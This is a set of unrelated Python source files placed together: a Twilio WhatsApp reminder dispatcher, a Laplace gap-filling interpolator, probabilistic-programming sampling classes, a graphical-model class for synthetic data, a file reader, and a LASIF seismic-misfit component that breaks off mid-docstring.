from dotenv import load_dotenv
import os
from twilio.rest import Client

class Dispatcher:
    def __init__(self):
        load_dotenv()
        # fetch necessary environment variables
        account_sid = os.getenv('TWILIO_ACCOUNT_SID')
        auth_token = os.getenv('TWILIO_AUTH_TOKEN')
        # create Twilio Client for this object
        self.client = Client(account_sid, auth_token)

    def dispatch_message(self, message_body):
        self.client.messages.create(
            from_=f"whatsapp:{os.getenv('TWILIO_PHONE_NUMBER')}",
            body=f"{message_body}",
            to=f"whatsapp:{os.getenv('RECEIVER_PHONE_NUMBER')}"
        )

    def dispatch_reminder(self, task_obj):
        reminder_str = task_obj.title
        reminder_details_str = task_obj.export_details_str()
        if reminder_details_str != "":
            reminder_str += "\n\n" + reminder_details_str
        self.dispatch_message(reminder_str)

    def dispatch_schedule(self, schedule_tup, index_needed = True, details_needed = False):
        schedule_str = ""

        if len(schedule_tup) == 0:
            schedule_str = "TaskQueue empty!"
        else:
            for i in range(len(schedule_tup)):
                task = schedule_tup[i]
                if index_needed:
                    schedule_str += f"Index: {i}\n"
                schedule_str += task.export_task_str(details_needed)
                schedule_str += "\n"

        self.dispatch_message(schedule_str)

if __name__ == "__main__":
    Dispatcher().dispatch_message("Test Dispatcher class.")


import warnings

import numpy as np
import scipy.sparse
import scipy.sparse.linalg

from xugrid.constants import FloatArray

def laplace_interpolate(
    connectivity: scipy.sparse.csr_matrix,
    data: FloatArray,
    use_weights: FloatArray = None,
    direct_solve: bool = False,
    drop_tol: float = None,
    fill_factor: float = None,
    drop_rule: str = None,
    options: dict = None,
    tol: float = 1.0e-5,
    maxiter: int = 250,
):
    """
    Fill gaps in ``data`` (``np.nan`` values) using Laplace interpolation.

    This solves Laplace's equation where where there is no data, with data
    values functioning as fixed potential boundary conditions.

    Note that an iterative solver method will be required for large grids. In
    this case, some experimentation with the solver settings may be required to
    find a converging solution of sufficient accuracy. Refer to the
    documentation of :py:func:`scipy.sparse.linalg.spilu` and
    :py:func:`scipy.sparse.linalg.cg`.

    Parameters
    ----------
    connectivity: scipy.sparse.csr_matrix with shape ``(n, n)``
        Sparse connectivity matrix containing ``n_nonzero`` indices and weight values.
    data: ndarray of floats with shape ``(n,)``
    use_weights: bool, default False.
        Wether to use the data attribute of the connectivity matrix as
        coefficients. If ``False``, defaults to uniform coefficients of 1.
    direct_solve: bool, optional, default ``False``
        Whether to use a direct or an iterative solver or a conjugate gradient
        solver. Direct methods provides an exact answer, but are unsuitable
        for large problems.
    drop_tol: float, optional, default None.
        Drop tolerance for ``scipy.sparse.linalg.spilu`` which functions as a
        preconditioner for the conjugate gradient solver.
    fill_factor: float, optional, default None.
        Fill factor for ``scipy.sparse.linalg.spilu``.
    drop_rule: str, optional default None.
        Drop rule for ``scipy.sparse.linalg.spilu``.
    options: dict, optional, default None.
        Remaining other options for ``scipy.sparse.linalg.spilu``.
    tol: float, optional, default 1.0e-5.
        Convergence tolerance for ``scipy.sparse.linalg.cg``.
    maxiter: int, default 250.
        Maximum number of iterations for ``scipy.sparse.linalg.cg``.

    Returns
    -------
    filled: ndarray of floats
    """
    # Input checks
    n, m = connectivity.shape
    if n != m:
        raise ValueError(f"connectivity is not a square matrix: ({n}, {m})")
    if data.shape != (n,):
        raise ValueError(f"expected data of shape ({n},), received: {data.shape}")

    # Find the elements with data
    variable = np.isnan(data)
    constant = ~variable
    if variable.all():
        raise ValueError("data is fully nodata")
    elif constant.all():
        return data.copy()

    coo = connectivity.tocoo()
    i = coo.row
    j = coo.col

    # Create uniform weighting if sparse data is not to be used.
    if use_weights:
        weights = connectivity.data
    else:
        weights = np.ones(i.size)

    # Find the connections to constant cells and the (non-)zero values in the
    # coefficient matrix.
    constant_j = constant[j]
    nonzero = ~(constant[i] | constant[j])

    # Build the right-hand-side and the diagonal.
    rhs_coo_content = (
        weights[constant_j],
        (i[constant_j], j[constant_j]),
    )
    rhs = -scipy.sparse.csr_matrix(rhs_coo_content, shape=(n, n)).dot(data)
    diag_coo_content = (weights, (i, j))
    diagonal = -scipy.sparse.csr_matrix(diag_coo_content, shape=(n, n)).sum(axis=1).A1
    # Create the diagonal numbering.
    ii = np.arange(n)

    # Set the constant values via the diagonal and the rhs.
    diagonal[constant] = 1.0
    rhs[constant] = data[constant]
    # Remove all zero values and add the diagonal.
    weights = np.concatenate([weights[nonzero], diagonal])
    i = np.concatenate([i[nonzero], ii])
    j = np.concatenate([j[nonzero], ii])
    coo_content = (weights, (i, j))
    A = scipy.sparse.csr_matrix(coo_content, shape=(n, n))

    if direct_solve:
        x = scipy.sparse.linalg.spsolve(A, rhs)
    else:
        # Create preconditioner M
        ilu = scipy.sparse.linalg.spilu(
            A.tocsc(),
            drop_tol=drop_tol,
            fill_factor=fill_factor,
            drop_rule=drop_rule,
            options=options,
        )
        M = scipy.sparse.linalg.LinearOperator((n, n), ilu.solve)
        # Call conjugate gradient solver
        x, info = scipy.sparse.linalg.cg(
            A, rhs, tol=tol, maxiter=maxiter, M=M, atol="legacy"
        )
        if info < 0:
            raise ValueError("scipy.sparse.linalg.cg: illegal input or breakdown")
        elif info > 0:
            warnings.warn(f"Failed to converge after {maxiter} iterations")

    return x


from typing import Callable, TypeVar, Generic, List, Any, NamedTuple, Protocol
from distribution import Distrib, support, uniform_support
import utils
from math import log, exp
from random import randint
from random import uniform as randuniform
from abc import ABC, abstractmethod

A = TypeVar('A')
B = TypeVar('B')
_C = TypeVar('_C')

class Prob(ABC):

    @abstractmethod
    def assume(self, p: bool) -> None:
        pass

    @abstractmethod
    def observe(self, d: Distrib[A], x: A) -> None:
        pass

    @abstractmethod
    def sample(self, d: Distrib[A]) -> A:
        pass

class InferenceMethod(ABC, Generic[A, B]):

    @abstractmethod
    def __init__(self, model: Callable[[Prob, A], B], data: A):
        pass

    @abstractmethod
    def infer(self, n: int = 1000) -> Distrib[B]:
        pass

    @staticmethod
    @abstractmethod
    def name() -> str:
        pass

class Reject(Exception):
    pass

class UndefinedSupport(Exception):
    pass

class CallableProtocol(Protocol[_C]):
    __call__: _C

class RejectionSampling(InferenceMethod[A, B]):

    class RejSampProb(Prob):
        def assume(self, p: bool) -> None:
            if not p:
                raise Reject

        def observe(self, d: Distrib[A], x: A) -> None:
            y = d.draw()
            self.assume(x == y)

        def sample(self, d: Distrib[A]) -> A:
            return d.draw()

    _model: CallableProtocol[Callable[[Prob, A], B]]
    _data: A

    def __init__(self, model: Callable[[Prob, A], B], data: A):
        self._model = model
        self._data = data

    @staticmethod
    def name() -> str:
        return "Rejection Sampling"

    def infer(self, n: int = 1000) -> Distrib[B]:
        prob = self.RejSampProb()
        values: List[B] = []
        while len(values) < n:
            try:
                value = self._model(prob, self._data)
            except Reject:
                continue
            values.append(value)
        return uniform_support(values)

class ImportanceSampling(InferenceMethod[A, B]):

    class ImpSampProb(Prob):
        _id: int
        _scores: List[float]

        def __init__(self, idx: int, scores: List[float]):
            self._id = idx
            self._scores = scores

        def factor(self, s: float) -> None:
            self._scores[self._id] += s

        def assume(self, p: bool) -> None:
            self.factor(0. if p else -float('inf'))

        def observe(self, d: Distrib[A], x: A) -> None:
            self.factor(d.logpdf(x))

        def sample(self, d: Distrib[A]) -> A:
            return d.draw()

    _model: CallableProtocol[Callable[[Prob, A], B]]
    _data: A

    def __init__(self, model: Callable[[Prob, A], B], data: A):
        self._model = model
        self._data = data

    @staticmethod
    def name() -> str:
        return "Importance Sampling"

    def infer(self, n: int = 1000) -> Distrib[B]:
        scores = [0.] * n
        values = [self._model(self.ImpSampProb(i, scores), self._data)
                  for i in range(n)]
        return support(values, scores)

_SampleState = NamedTuple('_SampleState', [('idx', int),
    ('choices', List[Any]), ('logits', List[float])])

class EnumerationSampling(InferenceMethod[A, B]):

    class EnumSampProb(Prob):
        _state_idx: int
        _score: float
        _path: List[_SampleState]
        _has_ended: bool

        def __init__(self) -> None:
            self._state_idx = -1
            self._score = 0
            self._path = []
            self._has_ended = False

        def init_next_path(self) -> None:
            # Reinitialisation des valeurs.
            self._state_idx = -1
            self._score = 0
            # Calcul de la prochaine trajectoire.
            n = len(self._path) - 1
            for i in range(n, -1, -1):
                idx, choices, logits = self._path[i]
                # On effectue le prochain choix
                if idx + 1 < len(choices):
                    self._path[i] = _SampleState(idx=idx + 1,
                    choices=choices, logits=logits)
                    return
                # Si on a fait tous les choix possibles, on revient en arrière.
                else:
                    self._path.pop()
            # Si la prochaine trajectoire est nulle, on a fini.
            if len(self._path) == 0:
                self._has_ended = True

        def assume(self, p: bool) -> None:
            if not p:
                raise Reject

        def observe(self, d: Distrib[A], x:A) -> None:
            y = self.sample(d)
            self.assume(x == y)

        def sample(self, d: Distrib[A]) -> A:
            self._state_idx += 1
            if self._state_idx >= len(self._path):
                # On est sûr dans ce cas que sample_idx == len(path)
                if d._support is None:
                    raise UndefinedSupport("The support is undefined or infinite. "\
                            "Exhaustive Sampling can't be used in that case.")
                support = d.get_support(shrink=True)
                assert(support is not None)
                self._path.append(_SampleState(idx=0, choices=support.values,
                logits=support.logits))

            idx, choices, logits = self._path[self._state_idx]
            self._score += logits[idx]  # Mult petits probs ou Add grands logits ?
            return choices[idx]  # type: ignore

    _model: CallableProtocol[Callable[[Prob, A], B]]
    _data: A

    def __init__(self, model: Callable[[Prob, A], B], data: A):
        self._model = model
        self._data = data

    @staticmethod
    def name() -> str:
        return "Enumeration Sampling"

    def infer(self, n:int = 0) -> Distrib[B]:
        prob = self.EnumSampProb()
        values = []
        logits = []
        #Tant qu'il reste des scénarios à examiner, on continue.
        while not prob._has_ended:
            try:
                value = self._model(prob, self._data)
                values.append(value)
                logits.append(prob._score)
            except Reject:
                pass
            prob.init_next_path()
        probs = utils.normalize(logits)
        values, probs = utils.shrink(values, probs)
        return support(values, [log(p) if p != 0 else -float('inf') for p in probs])

class MetropolisHastings(InferenceMethod[A, B]):

    class MHProb(Prob):
        _id: int
        _scores: List[float]
        _weights: List[float]
        _sampleResults: List[Any]
        _i: int
        _len: int
        _reuseI: int

        def __init__(self, idx: int, scores: List[float]):
            self._id = idx
            self._scores = scores
            self._i = 0
            self._reuseI = 0
            self._len = 0
            self._sampleResults = []
            self._weights = []

        def factor(self, s: float) -> None:
            self._scores[self._id] += s

        def assume(self, p: bool) -> None:
            self.factor(0. if p else -float('inf'))

        def observe(self, d: Distrib[A], x: A) -> None:
            self.factor(d.logpdf(x))

        def sample(self, d: Distrib[A]) -> A:
            if self._i < self._len:
                v = self._sampleResults[self._i]
                self._i += 1
            else:
                v = d.draw()
                self._sampleResults.append(v)
                self._weights.append(d.logpdf(v))
                self._i += 1
                self._len += 1
            return v  # type: ignore

        def go_back_to_step(self, i: int, new_id: int) -> None:
            self._sampleResults = self._sampleResults[:i]
            self._weights = self._weights[:i]
            self._reuseI = i
            self._i = 0
            self._len = i
            self._id = new_id

        def pick_random_step(self) -> int:
            assert(self._len >= 1)
            return randint(0, self._len - 1)

        def computeScore(self) -> float:
            s = 0.
            for i in range(self._reuseI):
                s += self._weights[i]
            # on a maintenant :
            # s : commme des log des poids des variables sur lesquelles on
            #     a appelé sample
            # self._scores[self._id] : somme des log des poids des variables
            #     observées (= score dans importance sampling)
            # self._len : le nombre de variables de sample
            return exp(s + self._scores[self._id]) / self._len

    _model: CallableProtocol[Callable[[Prob, A], B]]
    _data: A

    def __init__(self, model: Callable[[Prob, A], B], data: A):
        self._model = model
        self._data = data

    @staticmethod
    def name() -> str:
        return "Metropolis Hastings"

    def infer(self, n: int = 1000) -> Distrib[B]:
        scores = [0.] * n
        values = []
        logits = []
        prob = self.MHProb(0, scores)
        lastValue = self._model(prob, self._data)
        lastScore = prob.computeScore()
        values.append(lastValue)
        logits.append(log(lastScore) if lastScore > 0 else -float('inf'))
        for i in range(1, n):
            # on choisit aléatoirement un sample qui a été effectué par le
            # modèle
            step = prob.pick_random_step()
            # on exécute à nouveau le modèle depuis ce point
            prob.go_back_to_step(step, i)
            v = self._model(prob, self._data)
            score = prob.computeScore()
            x = randuniform(0, 1)
            if lastScore == 0 or x < min(1, score / lastScore):
                lastValue = v
                lastScore = score
            values.append(lastValue)
            logits.append(log(lastScore) if lastScore > 0 else -float('inf'))
        assert(len(values) == len(scores))
        return support(values, logits)


# This source code is licensed under the license found in the
# LICENSE file in the {root}/models/Private_PGM/ directory of this source tree.
import numpy as np
from models.Private_PGM.mbi import Domain, Dataset
from models.Private_PGM.mbi.junction_tree import JunctionTree
from functools import reduce
import pickle
import networkx as nx
import itertools
import pandas as pd

class GraphicalModel:
    def __init__(self, domain, cliques, total = 1.0, elimination_order=None):
        """ Constructor for a GraphicalModel

        :param domain: a Domain object
        :param total: the normalization constant for the distribution
        :param cliques: a list of cliques (not necessarilly maximal cliques)
            - each clique is a subset of attributes, represented as a tuple or list
        :param elim_order: an elimination order for the JunctionTree algorithm
            - Elimination order will impact the efficiency by not correctness.
              By default, a greedy elimination order is used
        """
        self.domain = domain
        self.total = total
        tree = JunctionTree(domain, cliques, elimination_order)
        self.junction_tree = tree

        self.cliques = tree.maximal_cliques() # maximal cliques
        self.message_order = tree.mp_order()
        self.sep_axes = tree.separator_axes()
        self.neighbors = tree.neighbors()
        self.elimination_order = tree.elimination_order

        size = sum(domain.size(cl) for cl in self.cliques)*8
        if size > 4*10**9:
            import warnings
            message = 'Size of parameter vector is %.2f GB. ' % (size / 10**9)
            message += 'Consider removing some measurements or finding a better elimination order'
            warnings.warn(message)

    @staticmethod
    def save(model, path):
        pickle.dump(model, open(path, 'wb'))

    @staticmethod
    def load(path):
        return pickle.load(open(path, 'rb'))

    def project(self, attrs):
        """ Project the distribution onto a subset of attributes.
            I.e., compute the marginal of the distribution

        :param attrs: a subset of attributes in the domain, represented as a list or tuple
        :return: a Factor object representing the marginal distribution
        """
        # use precalculated marginals if possible
        if type(attrs) is list:
            attrs = tuple(attrs)
        if hasattr(self, 'marginals'):
            for cl in self.cliques:
                if set(attrs) <= set(cl):
                    return self.marginals[cl].project(attrs)

        elim = self.domain.invert(attrs)
        elim_order = greedy_order(self.domain, self.cliques, elim)
        #elim_order = [a for a in self.elimination_order if a in elim]
        factors = []
        for cl in self.cliques:
            f = self.potentials[cl]
            factors.append( (f - f.logsumexp()).exp() )
        result = variable_elimination(factors, elim_order)
        ans = result.project(attrs)
        return ans * self.total / ans.sum()

    def krondot(self, matrices):
        """ Compute the answer to the set of queries Q1 x Q2 X ... x Qd, where
            Qi is a query matrix on the ith attribute and "x" is the Kronecker product
        This may be more efficient than computing a supporting marginal then multiplying that by Q.
        In particular, if each Qi has only a few rows.

        :param matrices: a list of matrices for each attribute in the domain
        :return: the vector of query answers
        """
        assert all(M.shape[1] == n for M, n in zip(matrices, self.domain.shape)), \
            'matrices must conform to the shape of the domain'
        logZ = self.belief_propagation(self.potentials, logZ=True)
        factors = [self.potentials[cl].exp() for cl in self.cliques]
        Factor = type(factors[0]) # infer the type of the factors
        elim = self.domain.attrs
        for attr, Q in zip(elim, matrices):
            d = Domain(['%s-answer'%attr, attr], Q.shape)
            factors.append(Factor(d, Q))
        result = variable_elimination(factors, elim)
        result = result.transpose(['%s-answer'%a for a in elim])
        return result.datavector(flatten=False) * self.total / np.exp(logZ)

    def calculate_many_marginals(self, projections):
        """ Calculates marginals for all the projections in the list using
            Algorithm for answering many out-of-clique queries (section 10.3 in Koller and Friedman)

        This method may be faster than calling project many times

        :param projections: a list of projections, where
            each projection is a subset of attributes (represented as a list or tuple)
        :return: a list of marginals, where each marginal is represented as a Factor
        """

        self.marginals = self.belief_propagation(self.potentials)
        sep = self.sep_axes
        neighbors = self.neighbors
        # first calculate P(Cj | Ci) for all neighbors Ci, Cj
        conditional = {}
        for Ci in neighbors:
            for Cj in neighbors[Ci]:
                Sij = sep[(Cj, Ci)]
                Z = self.marginals[Cj]
                conditional[(Cj,Ci)] = Z / Z.project(Sij)

        # now iterate through pairs of cliques in order of distance
        pred, dist = nx.floyd_warshall_predecessor_and_distance(self.junction_tree.tree,weight=False)
        results = {}
        for Ci,Cj in sorted(itertools.combinations(self.cliques,2),key=lambda X:dist[X[0]][X[1]]):
            Cl = pred[Ci][Cj]
            Y = conditional[(Cj,Cl)]
            if Cl == Ci:
                X = self.marginals[Ci]
                results[(Ci, Cj)] = results[(Cj, Ci)] = X*Y
            else:
                X = results[(Ci, Cl)]
                S = set(Cl) - set(Ci) - set(Cj)
                results[(Ci, Cj)] = results[(Cj, Ci)] = (X*Y).sum(S)

        results = { self.domain.canonical(key[0]+key[1]) : results[key] for key in results }

        answers = { }
        for proj in projections:
            for attr in results:
                if set(proj) <= set(attr):
                    answers[proj] = results[attr].project(proj)
                    break
            if proj not in answers:
                # just use variable elimination
                answers[proj] = self.project(proj)

        return answers

    def datavector(self, flatten=True):
        """ Materialize the explicit representation of the distribution as a data vector. """
        logp = sum(self.potentials[cl] for cl in self.cliques)
        ans = np.exp(logp - logp.logsumexp())
        wgt = ans.domain.size() / self.domain.size()
        return ans.expand(self.domain).datavector(flatten) * wgt * self.total

    def belief_propagation(self, potentials, logZ=False):
        """ Compute the marginals of the graphical model with given parameters

        Note this is an efficient, numerically stable implementation of belief propagation

        :param potentials: the (log-space) parameters of the graphical model
        :param logZ: flag to return logZ instead of marginals
        :return marginals: the marginals of the graphical model
        """
        beliefs = { cl : potentials[cl].copy() for cl in potentials }
        messages = {}
        for i,j in self.message_order:
            sep = beliefs[i].domain.invert(self.sep_axes[(i,j)])
            if (j,i) in messages:
                tau = beliefs[i] - messages[(j,i)]
            else:
                tau = beliefs[i]
            messages[(i,j)] = tau.logsumexp(sep)
            beliefs[j] += messages[(i,j)]

        cl = self.cliques[0]
        if logZ: return beliefs[cl].logsumexp()

        logZ = beliefs[cl].logsumexp()
        for cl in self.cliques:
            beliefs[cl] += np.log(self.total) - logZ
            beliefs[cl] = beliefs[cl].exp(out=beliefs[cl])

        return CliqueVector(beliefs)

    def mle(self, marginals):
        """ Compute the model parameters from the given marginals

        :param marginals: target marginals of the distribution
        :param: the potentials of the graphical model with the given marginals
        """
        potentials = {}
        variables = set()
        for cl in self.cliques:
            new = tuple(variables & set(cl))
            #factor = marginals[cl] / marginals[cl].project(new)
            variables.update(cl)
            potentials[cl] = marginals[cl].log() - marginals[cl].project(new).log()
        return CliqueVector(potentials)

    def synthetic_data(self, rows=None):
        """ Generate synthetic tabular data from the distribution """
        total = int(self.total) if rows is None else rows
        cols = self.domain.attrs
        data = np.zeros((total, len(cols)), dtype=int)
        df = pd.DataFrame(data, columns = cols)
        cliques = [set(cl) for cl in self.cliques]

        def synthetic_col(counts, total):
            counts *= total / counts.sum()
            frac, integ = np.modf(counts)
            integ = integ.astype(int)
            extra = total - integ.sum()
            #if extra > 0:
            #    o = np.argsort(frac)
            #    integ[o[-extra:]] += 1
            if extra > 0:
                idx = np.random.choice(counts.size, extra, False, frac / frac.sum())
                integ[idx] += 1
            vals = np.repeat(np.arange(counts.size), integ)
            np.random.shuffle(vals)
            return vals

        order = self.elimination_order[::-1]
        col = order[0]
        marg = self.project([col]).datavector(flatten=False)
        df.loc[:,col] = synthetic_col(marg, total)
        used = { col }

        for col in order[1:]:
            relevant = [cl for cl in cliques if col in cl]
            relevant = used.intersection(set.union(*relevant))
            proj = tuple(relevant)
            used.add(col)
            marg = self.project(proj + (col,)).datavector(flatten=False)

            def foo(group):
                idx = group.name
                vals = synthetic_col(marg[idx], group.shape[0])
                group[col] = vals
                return group

            if len(proj) >= 1:
                df = df.groupby(list(proj)).apply(foo)
            else:
                df[col] = synthetic_col(marg, df.shape[0])

        return Dataset(df, self.domain)

def variable_elimination(factors, elim):
    """ run variable elimination on a list of (non-logspace) factors """

    k = len(factors)
    psi = dict(zip(range(k), factors))
    for z in elim:
        psi2 = [psi.pop(i) for i in list(psi.keys()) if z in psi[i].domain]
        phi = reduce(lambda x,y: x*y, psi2, 1)
        tau = phi.sum([z])
        psi[k] = tau
        k += 1
    return reduce(lambda x,y: x*y, psi.values(), 1)

def greedy_order(domain, cliques, elim):
    order = []
    unmarked = set(elim)
    cliques = set(cliques)
    total_cost = 0
    for k in range(len(elim)):
        cost = { }
        for a in unmarked:
            # all cliques that have a
            neighbors = list(filter(lambda cl: a in cl, cliques))
            # variables in this "super-clique"
            variables = tuple(set.union(set(), *map(set, neighbors)))
            # domain for the resulting factor
            newdom = domain.project(variables)
            # cost of removing a
            cost[a] = newdom.size()

        # find the best variable to eliminate
        a = min(cost, key=lambda a: cost[a])

        # do some cleanup
        order.append(a)
        unmarked.remove(a)
        neighbors = list(filter(lambda cl: a in cl, cliques))
        variables = tuple(set.union(set(), *map(set, neighbors)) - { a })
        cliques -= set(neighbors)
        cliques.add(variables)
        total_cost += cost[a]

    return order

class CliqueVector(dict):
    """ This is a convenience class for simplifying arithmetic over the
        concatenated vector of marginals and potentials.

        These vectors are represented as a dictionary mapping cliques (subsets of attributes)
        to marginals/potentials (Factor objects)
    """
    def __init__(self, dictionary):
        self.dictionary = dictionary
        dict.__init__(self, dictionary)

    def __mul__(self, const):
        ans = { cl : const*self[cl] for cl in self }
        return CliqueVector(ans)

    def __rmul__(self, const):
        return self.__mul__(const)

    def __add__(self, other):
        if np.isscalar(other):
            ans = { cl : self[cl] + other for cl in self }
        else:
            ans = { cl : self[cl] + other[cl] for cl in self }
        return CliqueVector(ans)

    def __sub__(self, other):
        return self + -1*other

    def exp(self):
        ans = { cl : self[cl].exp() for cl in self }
        return CliqueVector(ans)

    def log(self):
        ans = { cl : self[cl].log() for cl in self }
        return CliqueVector(ans)

    def dot(self, other):
        return sum( (self[cl]*other[cl]).sum() for cl in self )

    def size(self):
        return sum(self[cl].domain.size() for cl in self)


def readfrom(fpath, aslines=False, errors='replace', verbose=None):
    """
    Reads (utf8) text from a file.

    Args:
        fpath (PathLike): file path
        aslines (bool): if True returns list of lines
        verbose (bool): verbosity flag

    Returns:
        str: text from fpath (this is unicode)
    """
    if verbose:
        print('Reading text file: %r ' % (fpath,))
    if not exists(fpath):
        raise IOError('File %r does not exist' % (fpath,))
    with open(fpath, 'rb') as file:
        if aslines:
            text = [line.decode('utf8', errors=errors)
                    for line in file.readlines()]
            if sys.platform.startswith('win32'):  # nocover
                # fix line endings on windows
                text = [
                    line[:-2] + '\n' if line.endswith('\r\n') else line
                    for line in text
                ]
        else:
            text = file.read().decode('utf8', errors=errors)
    return text


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import absolute_import

import pyasdf
import os
import numpy as np
import toml

from lasif.exceptions import LASIFNotFoundError, LASIFError
from .component import Component
from lasif.tools.adjoint.adjoint_source import calculate_adjoint_source
from lasif.utils import select_component_from_stream

TAUPY_MODEL_CACHE = {}

class AdjointSourcesComponent(Component):
    """
    Component dealing with the adjoint sources.

    :param folder: The folder where the files are stored.
    :param communicator: The communicator instance.
    :param component_name: The name of this component for the communicator.
    """

    def __init__(self, folder, communicator, component_name):
        self._folder = folder
        super(AdjointSourcesComponent, self).__init__(
            communicator, component_name
        )

    def get_filename(self, event: str, iteration: str):
        """
        Gets the filename for the adjoint source.

        :param event: The event.
        :type event: str
        :param iteration: The iteration name.
        :type iteration: str
        """
        iteration_long_name = self.comm.iterations.get_long_iteration_name(
            iteration
        )

        folder = os.path.join(self._folder, iteration_long_name, event)
        if not os.path.exists(folder):
            os.makedirs(folder)

        return os.path.join(folder, "adjoint_source_auxiliary.h5")

    def get_misfit_file(self, iteration: str):
        """
        Get path to the iteration misfit file

        :param iteration: Name of iteration
        :type iteration: str
        """
        iteration_name = self.comm.iterations.get_long_iteration_name(
            iteration
        )
        file = (
            self.comm.project.paths["iterations"]
            / iteration_name
            / "misfits.toml"
        )
        if not os.path.exists(file):
            raise LASIFNotFoundError(f"File {file} does not exist")
        return file

    def get_misfit_for_event(
        self,
        event: str,
        iteration: str,
        weight_set_name: str = None,
        include_station_misfit: bool = False,
    ):
        """
        This function returns the total misfit for an event.

        :param event: name of the event
        :type event: str
        :param iteration: iteration for which to get the misfit
        :type iteration: str
        :param weight_set_name: Name of station weights, defaults to None
        :type weight_set_name: str, optional
        :param include_station_misfit: Whether individual station misfits
            should be written down or not, defaults to False
        :type include_station_misfit: bool, optional
        """
        misfit_file = self.get_misfit_file(iteration)
        misfits = toml.load(misfit_file)
        if event not in misfits.keys():
            raise LASIFError(
                f"Misfit has not been computed for event {event}, "
                f"iteration: {iteration}. "
            )
        event_misfit = misfits[event]["event_misfit"]
        if include_station_misfit:
            return misfits[event]
        else:
            return event_misfit

    def calculate_validation_misfits(self,
                                     event: str,
                                     iteration: str):
        """

        This fuction computed the L2 weighted waveform misfit over
        a whole trace. It is meant to provide misfits for validation
        purposes. E.g. to steer regularization parameters.

        :param event: name of the event
        :type event: str
        :param iteration: iteration for which to get the misfit
        :type iteration: str
        """
        from scipy.integrate import simps
        from obspy import geodetics
        from lasif.utils import progress
        min_sn_ratio = 0.05
        event = self.comm.events.get(event)

        # Fill cache if necessary.
        if not TAUPY_MODEL_CACHE:
            from obspy.taup import TauPyModel  # NOQA

            TAUPY_MODEL_CACHE["model"] = TauPyModel("AK135")
        model = TAUPY_MODEL_CACHE["model"]

        # Get the ASDF filenames.
        processed_filename = self.comm.waveforms.get_asdf_filename(
            event_name=event["event_name"],
            data_type="processed",
            tag_or_iteration=self.comm.waveforms.preprocessing_tag,
        )
        synthetic_filename = self.comm.waveforms.get_asdf_filename(
            event_name=event["event_name"],
            data_type="synthetic",
            tag_or_iteration=iteration,
        )

        dt = self.comm.project.simulation_settings["time_step_in_s"]

        ds_syn = pyasdf.ASDFDataSet(synthetic_filename, mode="r", mpi=False)
        ds_obs = pyasdf.ASDFDataSet(processed_filename, mode="r", mpi=False)

        event_latitude = event["latitude"]
        event_longitude = event["longitude"]
        event_depth_in_km = event["depth_in_km"]

        minimum_period = self.comm.project.simulation_settings[
            "minimum_period_in_s"]

        misfit = 0.0
        for i, station in enumerate(ds_obs.waveforms.list()):

            if i % 30 == 0:
                progress(i+1, len(ds_obs.waveforms.list()),
                         status="Computing misfits")
            observed_station = ds_obs.waveforms[station]
            synthetic_station = ds_syn.waveforms[station]

            obs_tag = observed_station.get_waveform_tags()
            syn_tag = synthetic_station.get_waveform_tags()

            try:
                # Make sure both have length 1.
                assert len(obs_tag) == 1, (
                        "Station: %s - Requires 1 observed waveform tag."
                        " Has %i."
                        % (observed_station._station_name, len(obs_tag))
                )
            except AssertionError:
                continue

            assert len(syn_tag) == 1, (
                    "Station: %s - Requires 1 synthetic waveform tag. "
                    "Has %i."
                    % (observed_station._station_name, len(syn_tag))
            )

            obs_tag = obs_tag[0]
            syn_tag = syn_tag[0]

            station_latitude = observed_station.coordinates["latitude"]
            station_longitude = observed_station.coordinates["longitude"]

            st_obs = observed_station[obs_tag]
            st_syn = synthetic_station[syn_tag]

            # Sample points down to 10 points per minimum_period
            # len_s = st_obs[0].stats.endtime - st_obs[0].stats.starttime
            # num_samples_wavelength = 10.0
            # new_sampling_rate = num_samples_wavelength * \
            #                     minimum_period / len_s
            # st_obs = st_obs.resample(new_sampling_rate)
            # st_syn = st_syn.resample(new_sampling_rate)
            # dt = 1.0/new_sampling_rate

            dist_in_deg = geodetics.locations2degrees(
                    station_latitude, station_longitude, event_latitude,
                    event_longitude
                )

            # Get only a couple of P phases which should be the
            # first arrival
            # for every epicentral distance. Its quite a bit faster
            # than calculating
            # the arrival times for every phase.
            # Assumes the first sample is the centroid time of the event.
            ttp = model.get_travel_times(
                    source_depth_in_km=event_depth_in_km,
                    distance_in_degree=dist_in_deg,
                    phase_list=["ttp"],
                )
            # Sort just as a safety measure.
            ttp = sorted(ttp, key=lambda x: x.time)
            first_tt_arrival = ttp[0].time

            # Estimate noise level from waveforms prior to the
            # first arrival.
            idx_end = int(np.ceil((first_tt_arrival - 0.5 * minimum_period) / dt))
            idx_end = max(10, idx_end)
            idx_start = int(
                    np.ceil((first_tt_arrival - 2.5 * minimum_period) / dt))
            idx_start = max(10, idx_start)

            if idx_start >= idx_end:
                idx_start = max(0, idx_end - 10)

            for component in ["E", "N", "Z"]:
                try:
                    data_tr = select_component_from_stream(st_obs, component)
                    synth_tr = select_component_from_stream(st_syn, component)
                except LASIFNotFoundError:
                    continue
                # Scale data to synthetics
                scaling_factor = (synth_tr.data.ptp() / data_tr.data.ptp())
                if np.isinf(scaling_factor):
                    continue

                # Store and apply the scaling.
                data_tr.stats.scaling_factor = scaling_factor
                data_tr.data *= scaling_factor

                data = data_tr.data
                abs_data = np.abs(data)
                noise_absolute = abs_data[idx_start:idx_end].max()
                noise_relative = noise_absolute / abs_data.max()

                if noise_relative > min_sn_ratio:
                    continue

                # normalize the trace to [-1,1], reduce source effects
                # and balance amplitudes
                norm_scaling_fac = 1.0 / np.max(np.abs(synth_tr.data))
                data_tr.data *= norm_scaling_fac
                synth_tr.data *= norm_scaling_fac
                # envelope = obspy.signal.filter.envelope(data_tr.data)

                # scale up to around 1, also never divide by 0
                # by adding regularization term, dependent on noise level
                # env_weighting = 1.0 / (
                #            envelope + np.max(envelope) * 0.2)
                # data_tr.data *= env_weighting
                # synth_tr.data *= env_weighting

                diff = data_tr.data - synth_tr.data
                misfit += 0.5 * simps(y=diff ** 2, dx=data_tr.stats.delta)

        print("\nTotal event misfit: ", misfit)
        return misfit

    def calculate_validation_misfits_multiprocessing(
            self,
            event: str,
            iteration: str, num_processes: int = 12,
            min_sn_ratio: float = 0.1):
        """
        This fuction computed the L2 weighted waveform misfit over
        a whole trace. It is meant to provide misfits for validation
        purposes. E.g. to steer regularization parameters.

        This function implements the same as the above with a few
        changes. We don't use taupy anymore, but instead use the synthetics
        to estimate expected arrival times.
        In addition, we use multiprocessing here.

        :param event: name of the event
        :type event: str
        :param iteration: iteration for which to get the misfit
        :type iteration: str
        :param num_processes: Number of threads to use
        :type num_processes: int
